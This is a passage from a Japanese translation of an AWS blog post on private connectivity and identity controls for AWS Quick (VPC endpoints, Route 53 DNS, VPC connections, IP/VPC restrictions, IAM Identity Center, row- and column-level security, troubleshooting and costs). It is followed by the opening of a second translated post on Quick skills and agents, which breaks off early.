com.amazonaws.<region>.quicksight です。プログラムからの API 呼び出しを処理します。プライベート DNS を有効にすると、 quicksight.<region>.amazonaws.com への既存の API 呼び出しは、DNS の追加設定なしで自動的に VPC エンドポイントを通ります。FIPS に準拠する必要がある場合は、 com.amazonaws.<region>.quicksight-fips を利用します。 注: 次の 13 個の Quick の API は、API 用 VPC エンドポイントの対象外です。アクションコネクタの API (CreateActionConnector、DeleteActionConnector、DescribeActionConnector、DescribeActionConnectorPermissions、ListActionConnectors、SearchActionConnectors、UpdateActionConnector、UpdateActionConnectorPermissions) と、フローの API (GetFlowMetadata、GetFlowPermissions、ListFlows、SearchFlows、UpdateFlowPermissions) です。アクションコネクタやフローをプログラムで管理する自動化には、パブリック API エンドポイントへの経路が必要です。「 Quick and interface VPC endpoints 」を参照してください。 管理者が VPC を通じて IAM ユーザーとして Quick にサインインする場合は、AWS マネジメントコンソール用のエンドポイントも作成します。 com.amazonaws.<region>.console com.amazonaws.<region>.signin Amazon Virtual Private Cloud (Amazon VPC) コンソールで Web サイト用エンドポイントを作成する手順は次のとおりです。 Amazon VPC コンソールを開きます。ナビゲーションペインの PrivateLink and Lattice で Endpoints を選択し、 Create endpoint を選択します。 Name tag (例: my-quicksight-vpc-endpoint) を入力し、 Type で AWS services を選択します。 Services で com.amazonaws.<region>.quicksight を検索し、 com.amazonaws.<region>.quicksight-website を選択します (図 2)。 図 2: エンドポイントに名前を付け、Quick の Web サイト用エンドポイントサービスを選択する Network settings で VPC を選択します。 Additional settings で Enable private DNS name を選択したままにします。 2 つ以上のアベイラビリティーゾーンのサブネットを選択し、エンドポイントの ENI 用のセキュリティグループを選択します (図 3)。 図 3: エンドポイントの VPC、プライベート DNS、サブネット、セキュリティグループを選択する Policy を選択し (後述の「VPC エンドポイントポリシーを設定する」を参照)、タグを追加して、 Create endpoint を選択します (図 4)。 図 4: エンドポイントポリシーを選択してエンドポイントを作成する API 用エンドポイント com.amazonaws.<region>.quicksight についても、同じ手順を繰り返します。 DNS の名前解決を設定する Web サイト用エンドポイントについては、 <region>.quicksight.aws.amazon.com の A レコードを作成し、VPC エンドポイントの DNS 名を指すようにします。こうしておくと、社内ネットワークのユーザーが Quick の URL を名前解決したときに、トラフィックはパブリックインターネットではなくプライベートエンドポイントを通ります。API 用エンドポイントについては、VPC エンドポイントでプライベート DNS を有効にするだけで十分です。API 呼び出しは自動的にエンドポイントのプライベート IP アドレスに解決されます。 Route 53 プライベートホストゾーンが応答するのは、関連付けた VPC の内側からのクエリのみです。ユーザーは社内ネットワークから接続するため、オンプレミスの DNS サーバーで、 <region>.quicksight.aws.amazon.com へのクエリを VPC 内の Route 53 Resolver インバウンドエンドポイントに転送するよう設定します (または、同じ内容のレコードをオンプレミスの DNS でホストします)。最後に、社内ネットワークから DNS の名前解決を確認し、リクエストがパブリックアドレスではなく VPC 内のプライベート IP に解決されることを確かめます。 Route 53 でレコードを作成する手順は次のとおりです。 Route 53 コンソールで Hosted zones を選択し、 Create hosted zone を選択します。 Domain name に <region>.quicksight.aws.amazon.com (例: us-east-1.quicksight.aws.amazon.com ) を入力します。ゾーンの範囲をリージョンに絞ることで、Quick の他のホスト名を上書きせずに済みます。 Private hosted zone を選択し、VPC を関連付けて、 Create hosted zone を選択します (図 5)。 図 5: Amazon Route 53 でプライベートホストゾーンを作成する 作成したホストゾーンで Create record を選択します (図 6)。 図 6: 作成したプライベートホストゾーンでレコードを作成する Record name は空欄のままにし、レコードタイプに A を選択します。 Alias をオンにして Alias to VPC endpoint を選択し、リージョンと Web サイト用エンドポイントの DNS 名を選択して、 Create records を選択します (図 7)。 図 7: Quick の Web サイト用 VPC エンドポイントを指すエイリアス A レコードを作成する VPC エンドポイントポリシーを設定する VPC エンドポイントポリシーでは、エンドポイントを利用できるアカウントや組織を制限します。Quick の場合、ポリシーの範囲は AWS アカウント ID または組織 ID で絞り込めます。ポリシーを変更するには、Amazon VPC コンソールでエンドポイントを開き、 Policy タブを選択して Edit Policy を選択します (図 8)。 重要な制限: Quick の Web サイト用エンドポイントでは、 Principal 、 Action 、 Resource のフィールドをすべて * に設定する必要があります。条件は aws:PrincipalAccount 属性または aws:OrgId 属性に対してのみ指定できます。アクション単位で絞り込む、より厳しいポリシーは API 用エンドポイントでのみサポートされています。 Web サイト用エンドポイントのポリシーの例: { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": "*", "Action": "*", "Resource": "*", "Condition": { "StringEquals": { "aws:PrincipalAccount": ["012345678901"] } } } ] } 図 8: VPC エンドポイントの詳細ページからエンドポイントポリシーを開く API 用エンドポイントのポリシーの例 (特定のアクションに制限): { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": "*", "Action": [ "quicksight:DescribeUser", "quicksight:ListUsers" ], "Resource": "*", "Condition": { "StringEquals": { "aws:PrincipalAccount": ["012345678901"] } } } ] } 図 9: カスタムの VPC エンドポイントポリシーを編集する データソースアクセス用の VPC 接続 VPC エンドポイントがユーザー向けのトラフィックを処理するのに対し、VPC 接続はサーバー側の経路を処理します。つまり、Quick が VPC に入り、データベース、Amazon Redshift のナレッジベースのソース、社内 API にアクセスする経路です。 VPC 接続の仕組み Quick Enterprise エディションは Amazon VPC と完全に統合されています。Quick で VPC 接続を作成すると、VPC のサブネットに ENI が追加されます。Quick はこの ENI を通じて VPC 内のリソースとネットワークトラフィックを送受信します。さらに、Direct Connect や VPN でつながったオンプレミスのシステムなど、その VPC から到達できる宛先すべてと通信できます。 このトラフィックには、VPC の標準的なセキュリティ制御がすべて適用されます。ルートテーブル、ネットワーク ACL、サブネット、セキュリティグループは、VPC 内の他のインスタンス間のトラフィックと同じように、Quick との間のトラフィックも制御します。そのため、Quick から次のものに接続できます。 パブリックインターネットに公開していないプライベートなデータベース Direct Connect または VPN で到達できるオンプレミスのデータソース ネットワーク内で IP アドレスによってアクセスできる社内 API VPC 接続の ENI 用に専用のセキュリティグループ (例: QuickSight-VPC ) を作成します。各データソースのセキュリティグループでは、そのセキュリティグループ ID からのデータベースポートへのインバウンドトラフィックを許可します。 2023 年 4 月 27 日より前に作成した VPC 接続についての注意: Quick のネットワークインターフェイスに付けたセキュリティグループはステートフルではありません。戻りのパケットはランダムに割り当てられた宛先ポートを使用するため、データソースのセキュリティグループからの戻りトラフィックを全ポート (0–65535) で明示的に許可するインバウンドルールを追加する必要があります。この日以降に作成した接続は、標準的なステートフルの動作になります。「 Security groups: inbound and outbound rules 」を参照してください。 実行ロールを作成する Quick は VPC 接続の実行ロールを自動では作成しません。接続を追加する前に、専用の IAM ロールを作成する (推奨) か、Quick をすでに信頼している既存のロールを更新します。既存のロールの例が、本記事のスクリーンショットで使用している aws-quicksight-service-role-v0 です。ロールには次のものが必要です。 Quick が ENI を管理するために使用する Amazon Elastic Compute Cloud (Amazon EC2) のアクションを許可するアクセス許可ポリシー (図 10)。 quicksight.amazonaws.com がロールを引き受けることを許可する信頼ポリシー。Quick コンソールの Execution role の一覧に表示されるのは、この信頼ポリシーを持つロールのみです。 アクセス許可ポリシー: { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "ec2:CreateNetworkInterface", "ec2:DeleteNetworkInterface", "ec2:ModifyNetworkInterfaceAttribute", "ec2:DescribeSubnets", "ec2:DescribeSecurityGroups" ], "Resource": "*" } ] } 図 10: VPC 接続の実行ロールに必要な Amazon EC2 の権限を追加する 信頼ポリシー: { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "quicksight.amazonaws.com" }, "Action": "sts:AssumeRole" } ] } VPC 接続を設定する Quick コンソールで VPC 接続を作成する手順は次のとおりです。 管理者として Quick にサインインします。右上のプロフィールアイコンを選択し、 Manage account を選択します (図 11)。この項目が表示されない場合は、Quick の管理者権限がありません。 図 11: Quick のプロフィールメニューから Manage account を開く ナビゲーションペインの Security で Manage VPC connections を選択し (図 12)、 Add VPC connection を選択します。 図 12: Manage account ページの Security にある Manage VPC connections 次の項目を入力します (図 13)。 内容が分かる VPC connection name 接続先 VPC の VPC ID (後から変更できません) 前の手順で作成した Execution role 異なるアベイラビリティーゾーンにある 2 つ以上の サブネット 1 つ以上の セキュリティグループ ID (オプション) データベースのホスト名をプライベート DNS で解決する必要がある場合は、 DNS resolver endpoints に Route 53 Resolver インバウンドエンドポイントの IP アドレスを入力します。 ADD を選択します。 図 13: Quick コンソールで VPC 接続を追加する 接続のステータスは、Quick が ENI のプロビジョニングを終えるまで UNAVAILABLE と表示され、終わると AVAILABLE に変わります。 PARTIALLY AVAILABLE は ENI の 1 つが利用できない状態を表しますが、接続は引き続き利用できます。 データソース用の VPC エンドポイントを設定する VPC エンドポイント (PrivateLink。ここでは AWS のサービス API に使用します) と VPC 接続 (VPC 内に配置する Quick の ENI。「データソースアクセス用の VPC 接続」を参照) は別の仕組みです。Quick は、ダッシュボードや分析のデータを取得するときに、他の AWS のサービス (Amazon S3、Amazon Redshift、Amazon Athena、AWS Secrets Manager) にアクセスします。Quick がこうした AWS のサービスに対して行う呼び出しも含め、すべてのトラフィックをプライベートにとどめたい場合は、サービスごとにインターフェイス VPC エンドポイントまたはゲートウェイ VPC エンドポイントを作成します。 サービス エンドポイントのタイプ サービス名 Amazon S3 ゲートウェイ com.amazonaws.<region>.s3 Amazon Redshift インターフェイス com.amazonaws.<region>.redshift Amazon Athena* インターフェイス com.amazonaws.<region>.athena AWS Secrets Manager インターフェイス com.amazonaws.<region>.secretsmanager AWS Glue インターフェイス com.amazonaws.<region>.glue * Athena は VPC 接続のデータソースとしてはサポートされていません。Athena のエンドポイントは、Athena の API トラフィックを AWS PrivateLink 上にとどめるだけです。 データソース用のエンドポイントは、Quick の ENI を配置したのと同じ VPC に作成します。ルートテーブルとセキュリティグループで、Quick のサブネットとエンドポイントのサブネットの間のトラフィックが許可されていることを確認してください。 必要な外部ドメインへのアクセスを許可する Quick とオンプレミスのソースの間のデータトラフィックはプライベートネットワーク上にとどまりますが、ユーザーのブラウザは、サインイン、静的アセット、クライアント側のメトリクス、統合のために、いくつかのドメインに到達する必要があります。VPC エンドポイントを設定していても、VPC エンドポイントに対応していないドメインにはアウトバウンド接続が必要です。通常は社内のプロキシやファイアウォールを経由します。アカウントで AWS IAM Identity Center を利用している場合、ブラウザでのサインインには、パブリックな AWS サインインエンドポイントと IAM Identity Center エンドポイントも必要です (「ユーザーアクセスとID フェデレーションのセキュリティ」を参照)。 必要な外部ドメイン ドメイン 用途 VPC エンドポイントの対応 <region>.quicksight.aws.amazon.com Quick の Web サイトのトラフィックの大部分 あり quicksight.<region>.amazonaws.com Quick のパブリック API 呼び出し あり signin.aws.amazon.com IAM アイデンティティを利用するアカウントの AWS コンソールへのサインイン あり <region>.signin.aws サインイン なし *.cloudfront.net 静的アセット (CSS、JavaScript) なし *.s3.<region>.amazonaws.com レポートとサムネイル あり *.execute-api.<region>.amazonaws.com クライアント側のメトリクス なし *.kinesisvideo.amazonaws.com 自動化ワークフローのライブストリーミング なし apis.google.com/js/api.js Google Drive のファイルピッカー 該当なし *.officeapps.live.com Quick サイドパネル拡張機能 該当なし outlook.cloud.microsoft Quick サイドパネル拡張機能 該当なし *.sharepoint.com Quick サイドパネル拡張機能 該当なし *.office.com Quick サイドパネル拡張機能 該当なし *.office365.com Quick サイドパネル拡張機能 該当なし 出典: Domains accessed by Quick 設定のポイント: VPC エンドポイントに対応しているドメイン (Quick の Web サイトと API、 signin.aws.amazon.com 、Amazon S3) については、対応する VPC エンドポイントと DNS レコードを作成します。 VPC エンドポイントに対応していないドメインについては、社内のインターネットへの出口 (アウトバウンドプロキシまたはファイアウォール) で許可します。ユーザーのトラフィックが VPC から外に出る構成の場合は、パブリックサブネットの NAT ゲートウェイを利用します。 セキュリティポリシー上 URL 単位のフィルタリングが必要な場合は、アウトバウンドプロキシか AWS Network Firewall のドメインフィルタリングルールを利用し、前述のドメインのみを許可します。 社内の端末 (または同じ出口経路にあるインスタンス) からテストします。各ドメインに対して nslookup と curl を実行し、DNS の名前解決とルーティングを確認します。 VPC エンドポイントによるアクセス制限を適用する エンドポイントを設定してテストしたら、Quick アカウントへのアクセスをすべて VPC エンドポイント経由に限定し、インターネットからのアクセスを完全にブロックできます。その結果、ユーザーが Quick にアクセスできるのは、社内ネットワークから構築したプライベートな経路を通る場合に限られます。 Quick には、アカウントへのアクセスを事前に定義した IP 範囲、VPC ID、VPC エンドポイント ID の一覧に限定する、IP と VPC エンドポイントの制限機能があります。たとえば、Direct Connect で利用する VPC エンドポイントからのアクセスのみを許可するルールを作成すると、パブリックインターネットから Quick にアクセスしようとする人はすべて拒否されます。 Quick コンソールで設定する手順は次のとおりです (制限のページにアクセスできるのは、IAM 認証情報でサインインした管理者のみです)。 プロフィールアイコンを選択し、 Manage account を選択します。 Security で Manage IP/VPC restrictions を選択します。 Restriction フィールドに VPC エンドポイント ID (例: vpce-001122def ) を入力し、 Description を入力して Add を選択します (図 14)。 Save changes を選択してルールを適用します。 Enforce restrictions をオンにします。 図 14: IP と VPC エンドポイントの制限のページで VPC エンドポイントのルールを追加する AWS Command Line Interface (AWS CLI) で設定することもできます。 aws quicksight update-ip-restriction \ --aws-account-id ACCOUNT_ID \ --region REGION \ --enabled \ --vpc-endpoint-id-restriction-rule-map \ vpce-001122def=CorporateVpcEndpoint 注: UpdateIpRestriction はルールのマップ全体を置き換えます。 aws quicksight describe-ip-restriction で現在のルールを取得し、既存のルールも含めて更新してください。 主な考慮事項: IP と VPC エンドポイントのルールは、Quick の Web、埋め込み、モバイルからのアクセスに適用されます。パブリック API へのアクセスは制限しません。特定の送信元からの API 呼び出しを制限するには、 aws:SourceIp または aws:SourceVpce の条件を付けた IAM ポリシーを利用します。 制限を有効にする前に、自分の IP または VPC エンドポイントがルールに含まれていることを確認してください。含まれていないと、自分自身が締め出されます。 ルールが完全に反映されるまで、最大 10 分かかることがあります。 IP のルールと VPC エンドポイントのルールは組み合わせられます。その場合、どちらかのルールを満たせばトラフィックは許可されます。IP と VPC エンドポイントのルールは合わせて最大 100 個まで追加できます。 IP と VPC エンドポイントのルールはアカウントのすべての AWS リージョンに適用されますが、追加や管理ができるのは Quick アカウントを作成した AWS リージョンからのみです。 パブリックに埋め込んだダッシュボードがある場合、制限を有効にすると、そのダッシュボードには VPC エンドポイント経由でしかアクセスできなくなります。 制限を適用すると、Quick アカウントに到達できるのは、指定した VPC エンドポイント (または許可した IP 範囲) を経由したトラフィックに限られます。それ以外のアクセスはすべて拒否されます。 ユーザーアクセスとID フェデレーションのセキュリティ プライベートネットワーク接続でトラフィックはパブリックインターネットを通らなくなりますが、Quick の中で誰が何にアクセスできるかは、ID とアクセス権の設定で別に制御する必要があります。このセクションでは、社内の ID プロバイダーとの統合、ユーザーのプロビジョニングの制御、Quick のコンポーネント全体での細かいアクセスの分離について説明します。 AWS IAM Identity Center と統合する 重要: IAM Identity Center と統合した Quick アカウントでは、ブラウザでの認証にパブリックな AWS サインインエンドポイントと IAM Identity Center エンドポイントへのアクセスが必要です。VPC エンドポイントは、このブラウザでのサインインの経路を提供しません。パブリック IP アドレスは不要です。NAT ゲートウェイかプロキシでアウトバウンド接続を用意してください。IAM Identity Center ユーザーガイドの「 Considerations for private access 」を参照してください。 Quick は、従業員のアイデンティティ管理の中心として AWS IAM Identity Center を利用します。IAM Identity Center は、既存の社内 ID プロバイダー (IdP) に接続し、認証には SAML 2.0 を、ユーザーとグループの自動プロビジョニングには SCIM 2.0 を利用します。IAM Identity Center と統合すると、次のことができます。 IdP と同期したユーザーの自動プロビジョニングと自動プロビジョニング解除 グループメンバーシップの同期 – ユーザーをグループに追加したりグループから外したりすると、その変更が Quick に反映されます 既存の社内の認証情報を利用したシングルサインオン (SSO) IAM ロールを引き受けることによる一時的な認証情報 – Quick 専用の長期間有効なパスワードは不要です ID プロバイダーと IAM Identity Center を設定する詳しい手順は、「 Getting started with IAM Identity Center 」を参照してください。 Quick のロールベースのアクセス Quick には、ユーザーができることを決める 3 つの基本ロールがあります。 Admin – データソースの設定、VPC 接続、セキュリティ設定、ユーザー管理、SPICE 容量の購入など、すべての管理操作ができます。 Author – ダッシュボードの作成と公開、エージェントの作成、スペースの設定、データソースの管理、フローの作成、アプリの作成ができます。 Reader – 公開されたダッシュボードの閲覧、エージェントとの対話、アクセスを許可されたスペースの利用、Quick Research のレポートの閲覧ができます。 3 つのロールは、フェデレーションユーザーがサインイン時に引き受ける IAM ロールに対応付けられています。IdP でロールの割り当てを管理することで、誰がどのレベルのアクセス権を持つかを 1 か所で管理できます。 さらに Quick では、アカウント、ロール、ユーザーの各レベルでデフォルトのロールの権限を上書きする、カスタムの権限プロファイルを利用できます。ユーザーレベルの権限はロールレベルの権限より優先され、ロールレベルの権限はアカウントレベルの権限より優先されます。管理者は 3 つの基本ロールよりも細かく権限を制御できます。 スペースによるユーザーの分離 スペースを利用すると、ロールとは別に、スペースの単位でもアクセスを分離できます。スペースごとに特定のユーザーとグループの権限を設定できるため、たとえば次のようにできます。 機密性の高い収益のダッシュボードや財務のナレッジベースを含む財務チームのスペースには、財務グループのみがアクセスできる。 CRM に接続したエージェントやパイプラインのダッシュボードがある営業チームのスペースは、営業のユーザーに限定する。 部門横断のスペースは、適切な権限を付けて複数のグループで共有する。 スペースへのアクセスは ID プロバイダーから同期したグループで制御します。そのため、新しいメンバーを適切なグループに追加すると、関連するスペースへのアクセス権が自動的に付与されます。 AWS Quick Sight の行レベルセキュリティ 構造化データに基づくダッシュボードでは、Quick Sight の行レベルセキュリティ (RLS) を利用して、ユーザーやグループごとに見られるデータの行を制限できます。RLS はデータセットのルールで設定します。ルールは、ユーザーやグループと、アクセスできるフィールドの値を対応付ける権限用のデータセットです。 たとえば、地域別の営業ダッシュボードを次のように設定できます。 EMEA の営業グループには、 region = 'EMEA' の行のみが表示される。 NA の営業グループには、 region = 'NA' の行のみが表示される。 営業担当バイスプレジデントには、すべての行が表示される。 RLS のルールは、IAM Identity Center が決めたユーザーのアイデンティティに基づいて評価されます。つまり、サインインを制御するのと同じID フェデレーションが、データレベルのアクセスも制御します。RLS は従来のダッシュボードの表示にも、AI による自然言語のクエリにも同じように適用されます。AI が回答を生成するときに参照できるデータも、同じセキュリティポリシーで制限されます。 列レベルセキュリティ Quick Sight は、行レベルの制限に加えて、特定のユーザーやグループから機密性の高い列を隠す列レベルセキュリティ (CLS) もサポートしています。たとえば、従業員の情報を含むデータセットで、給与と SSN (社会保障番号) の列は HR グループのみに見せ、他のグループには同じデータセットの機密でない列のみを見せる、といった制限ができます。 アイデンティティとプライベート接続の関係 アイデンティティのレイヤーとネットワークのレイヤーは、次のように連携します。 社内ネットワークのユーザーが、IdP → IAM Identity Center → Quick の順に認証を受けます。 ユーザーのリクエストは、VPC エンドポイント (プライベートネットワークの経路。「ユーザーアクセスと API アクセス用の VPC エンドポイント」を参照) を通って Quick に届きます。 Quick はユーザーのアイデンティティを評価し、ロール、スペースへのアクセス、RLS/CLS のポリシーを決めます。 Quick がオンプレミスのソースからデータを取得するときは、VPC 接続 (VPC 内の ENI。「データソースアクセス用の VPC 接続」を参照) を利用し、Direct Connect を通じてデータベースに到達します。 レスポンスは、同じプライベートな経路を通ってユーザーに返されます。 「必要な外部ドメインへのアクセスを許可する」で説明したサインインと静的アセットのトラフィックを除き、パブリックインターネットを通るトラフィックはありません。どの時点でも、ユーザーが何を見て何をできるかはユーザーのアイデンティティで決まります。 検証とテスト 本番環境で制限を適用する前に、アクセスのパターンごとにエンドツーエンドの接続を検証します。 アクセスのパターン テスト 期待される結果 Web サイト (VPC エンドポイント) 社内ネットワークから nslookup <region>.quicksight.aws.amazon.com を実行する VPC の CIDR 内のプライベート IP に解決される Web サイト (認証) 社内のマシンから Quick コンソールにアクセスする IdP 経由でサインインが完了し、コンソールが通常どおり読み込まれる API (VPC エンドポイント) VPC 内から aws quicksight describe-account-settings を実行する アカウント設定が返され、Flow Logs に VPC 内の送信元 IP が記録される データソース (VPC 接続) VPC 接続を通じてオンプレミスのデータベースを指す、テスト用の Quick Sight データソースを作成する 接続テストが成功し、テストクエリがデータを返す ナレッジベース (VPC 接続) VPC 接続を利用して Amazon Redshift のソースからナレッジベースを作成し、同期を実行する 同期が完了し、ナレッジベースにコンテンツが表示される アクションコネクタ (VPC 接続) 社内 API を指すテスト用のアクションを作成し、エージェントから呼び出す アクションが期待どおりのレスポンスを返す 埋め込みダッシュボード 社内アプリから埋め込みの Quick Sight ダッシュボードを読み込む ダッシュボードが表示され、ブラウザの開発者ツールでプライベート IP を確認できる モニタリング 継続的に可視化するには、すべてのエンドポイントと VPC 接続の ENI で VPC フローログを有効にし、トラフィックのメタデータを記録します。VPC エンドポイントの Amazon CloudWatch メトリクス ( ActiveConnections 、 BytesProcessed 、 PacketsDropped ) を監視し、接続の失敗や想定外の送信元からのトラフィックにアラームを設定します。フローログは、コンプライアンスの文書で参照する監査証跡にもなります。 よくある問題のトラブルシューティング 症状 考えられる原因 解決方法 社内ネットワークから Quick の Web サイトにアクセスできない DNS が VPC エンドポイントに解決されていない <region>.quicksight.aws.amazon.com の A レコードがエンドポイントの DNS 名を指していること、オンプレミスの DNS がその名前を Route 53 Resolver インバウンドエンドポイントに転送していることを確認します。エンドポイントのプライベート DNS の設定も確認します。 制限を有効にした後に締め出された 自分の IP またはエンドポイントが許可リストにない API アクセス権を持つ IAM アイデンティティで CLI の update-ip-restriction コマンドを利用し (API は IP/VPC のルールで制限されません)、自分のエンドポイントを追加します。 API 呼び出しがタイムアウトする セキュリティグループがトラフィックをブロックしている エンドポイントのセキュリティグループで、社内の CIDR からのインバウンド HTTPS (ポート 443) を許可していることを確認します。 データソースへの接続に失敗する VPC 接続の ENI が接続先に到達できない VPC 接続の ENI のセキュリティグループでデータベースポートへのアウトバウンドを許可していること、データベースのセキュリティグループで Quick のセキュリティグループからのインバウンドを許可していることを確認します。2023 年 4 月 27 日より前に作成した接続では、全ポートの戻りトラフィックを許可するインバウンドルールも確認します。ルートテーブルにオンプレミスネットワークへの経路があることも確認します。 静的アセットが読み込まれない (空白のページ) 外部ドメインがブロックされている プロキシまたは NAT ゲートウェイで *.cloudfront.net を許可していること、 *.s3.<region>.amazonaws.com に S3 の VPC エンドポイントかプロキシ経由で到達できることを確認します。 SSO でのログインに失敗する サインイン用のドメインに到達できない ファイアウォールまたはプロキシで signin.aws.amazon.com と <region>.signin.aws を許可します。IAM Identity Center のアカウントでは、パブリックな AWS サインインエンドポイントと IAM Identity Center エンドポイントも許可します (「ユーザーアクセスとID フェデレーションのセキュリティ」を参照)。 VPC 接続のステータスが UNAVAILABLE になる 実行ロールの設定が誤っている 実行ロールに ec2:CreateNetworkInterface 、 ec2:DescribeSubnets 、 ec2:DescribeSecurityGroups 、 ec2:ModifyNetworkInterfaceAttribute 、 ec2:DeleteNetworkInterface があること、信頼ポリシーで quicksight.amazonaws.com を許可していることを確認します。 パブリックに埋め込んだダッシュボードにアクセスできない VPC エンドポイントの制限がパブリックなトラフィックをブロックしている 想定どおりの動作です。制限を有効にすると、パブリックな埋め込みには VPC エンドポイント経由のアクセスが必要になります。パブリックな利用者向けに別のエンドポイントを用意するか、パブリックな埋め込みを無効にすることを検討してください。 セキュリティのベストプラクティス ネットワークの分離もアイデンティティの制御も、それだけでは十分ではありません。このアーキテクチャでは両方を組み合わせます。ネットワークの制御は許可されていないアクセス経路を防ぎ、アイデンティティの制御は許可されたセッションの中での許可されていないデータアクセスを防ぎます。次のプラクティスで、両方のレイヤーを維持します。 最小権限のエンドポイントポリシー: Web サイト用エンドポイントは aws:PrincipalAccount または aws:OrgId で制限します。API 用エンドポイントでは、 quicksight:* のすべてのアクションを許可するのではなく、自動化に必要な特定のアクションのみにポリシーの範囲を絞ります。 多層のセキュリティグループ: VPC エンドポイントの ENI (ユーザーのトラフィック) と VPC 接続の ENI (データのトラフィック) の両方にセキュリティグループを適用します。エンドポイントの ENI では、インバウンド HTTPS を社内の CIDR 範囲に制限します。VPC 接続の ENI では、専用のセキュリティグループを利用し、アウトバウンドを Quick が必要とするデータベースのポートと宛先のみに制限して、各データソースのインバウンドルールでそのセキュリティグループを参照します。 すべてのエンドポイントの ENI で VPC フローログを有効にする: フローログは、セキュリティの監視、異常の検出、コンプライアンスの監査のためにトラフィックのメタデータを記録します。管理されたネットワーク境界について規制の枠組みが求める監査証跡にもなります。 エンドポイントポリシーを定期的に監査する: エンドポイントポリシーを四半期ごとに見直します。AWS Config ルールを利用して、ベースラインの構成からのずれを検出します。 機密度に応じて VPC 接続を分ける: 複数のデータ環境 (開発、ステージング、本番) がある場合は、セキュリティグループを分けた別々の VPC 接続を作成し、環境をまたいだアクセスを防ぎます。 CloudWatch で監視する: PacketsDropped と ActiveConnections のメトリクスにアラームを設定します。通常と異なるパターンは、設定ミスや不正アクセスの試みを示している可能性があります。 要件と AWS の構成の例 次の例は、本記事の構成で一般的なネットワークセキュリティの要件にどう対応できるかを示したものです。自社の要件に照らした評価は、セキュリティチームと一緒に行ってください。 要件 評価の裏付けにできる AWS の制御 機密データがパブリックインターネットを通ってはならない ユーザーのトラフィック用の VPC エンドポイント、データのトラフィック用の VPC 接続、ネットワークを可視化する VPC フローログ ユーザーごとのデータの分離 VPC 接続の ENI のセキュリティグループと、機密データへのアクセスに対する行レベルセキュリティ 許可したエンドポイントからのアクセスに限定する VPC エンドポイントによるアクセス制限 (「VPC エンドポイントによるアクセス制限を適用する」を参照)、AWS CloudTrail の API ログ、VPC フローログ コストの考慮事項 コンポーネント 料金体系 見積もり VPC インターフェイスエンドポイント AZ ごとに $0.01/時間 + 処理データ $0.01/GB エンドポイント 1 つ、AZ 1 つあたり月 約 $7.20 (固定) + データ転送 VPC ゲートウェイエンドポイント (S3) 無料 無料 VPC 接続 (Quick の ENI) Quick Enterprise に含まれる 追加料金なし NAT ゲートウェイ (外部ドメイン用) $0.045/時間 + 処理データ $0.045/GB 月 約 $32 (固定) + データ転送 VPC フローログ CloudWatch Logs の取り込み料金 トラフィック量によって異なる Direct Connect ポート時間 + データ転送 回線の容量によって異なる 訳注: 料金はリージョンによって異なります。最新の料金は AWS PrivateLink の料金 と Amazon VPC の料金 を参照してください。 コスト最適化のヒント: S3 には、できるだけインターフェイスエンドポイントではなくゲートウェイエンドポイント (追加料金なし) を利用します。 エンドポイントの ENI をまとめます。各エンドポイントに必要な ENI は、Quick の VPC 接続のサブネットがある AZ の分だけです。 VPC フローログは、VPC 全体ではなくエンドポイントの ENI に絞って有効にします。 すべての外部ドメインに NAT ゲートウェイ経由のアクセスが必要か、それともトラフィックのパターンによっては対象を絞ったプロキシのほうが費用対効果が高いかを検討します。 まとめ このアーキテクチャでは、互いに補い合う 4 つの制御を構築します。VPC エンドポイントでユーザーのトラフィックをプライベートに保ち、VPC 接続で Quick からデータソースへのプライベートな経路を用意し、ID フェデレーションで誰が何にアクセスできるかを決め、VPC エンドポイントによるアクセス制限でプライベートな経路の利用を必須にします。各レイヤーは個別に監査でき、特定のコンプライアンス要件に対応付けられます (「要件と AWS の構成の例」を参照)。 この構成により、Quick Agents はオンプレミスのデータベースに問い合わせ、Quick Research はファイアウォールの内側にある企業のソースを調べ、Quick Sight のダッシュボードは機密データを可視化し、Quick Flows は社内システムをオーケストレーションできます。しかも、データはパブリックインターネットを通りません。AI の機能はそのままに、外部へさらされるリスクのみを取り除けます。 実装するときは、まずユーザーアクセスと API アクセス用の VPC エンドポイントから開始し、ユーザーのアクセスを検証してから、データソースアクセス用の VPC 接続に進みます。VPC エンドポイントによるアクセス制限は、すべてのアクセスのパターンがプライベートな経路で動くことを確認してから有効にしてください。ID フェデレーションの設定や、RLS/CLS の高度な設定については、 IAM Identity Center のドキュメント を参照してください。 著者について Rahul Kulkarni AWS の生成 AI と機械学習のスペシャリストで、金融サービスの組織が AI ワークロードを実験段階から本番環境へ移行できるよう支援しています。特に、銀行、投資会社、フィンテック企業が生成 AI を調査、顧客エンゲージメント、知識集約型のワークフローにどう活用できるかに関心を持っています。仕事以外では、旅行とボストン・レッドソックスの応援を楽しんでいます。 Yago Tobio Souto ロンドンを拠点とする AWS のソリューションアーキテクトで、生成 AI、Amazon Bedrock、エージェントフレームワークを専門としています。AI のプロトタイプを本番環境で利用できるソリューションにする支援をしています。週末はたいていランニングをしているか、街を散策しているか、あるいはその両方を同時にしています。 Muhammad Zain Akram スウェーデンを拠点とする AWS のソリューションアーキテクトで、生成 AI を専門としています。お客様と協力してビジネス上の課題を理解し、実際の成果につながる、安全でスケーラブルなソリューションに落とし込んでいます。休日は家族や友人と過ごすことが多く、映画を見たり料理をしたりして楽しんでいます。 翻訳は Solutions Architect の 守田 凜々佳 が担当しました。

本記事は 2026 年 11 月 9 日 に公開された「 How skills and agents work in AWS Quick 」を翻訳したものです。 AI エージェントを利用していて、同じ作業の進め方を何度も説明したことはないでしょうか。週次の状況報告の作り方、リリースノートの書き方、プロジェクトの管理方法、チケットの作成方法などです。こうした繰り返しの作業は、 AWS Quick のエージェントとスキルにまとめておけます。Quick は、作業の自動化、データ分析、Web アプリケーションの構築、調査を AI で行えるサービスです。自然言語で指示すると、Quick は AI エージェントを利用し、接続済みのデータソースやアプリケーションに対してリクエストを処理します。 本記事では、Quick でエージェント、スキル、データがどう組み合わさるのか、そしてチームで利用できるスキルの作り方と共有方法を説明します。あわせて、公式カタログとカスタムエージェントを利用してスキルを活用する方法も紹介します。 基本的な概念 このセクションでは、エージェント、スキル、データとの関係から Quick を理解するための基本的な概念を説明します。 図 1: Quick エージェントが指示に従い、タスクに必要なスキルを読み込み、コネクタを通じて操作を行い、データに基づいて回答する仕組み 図 1 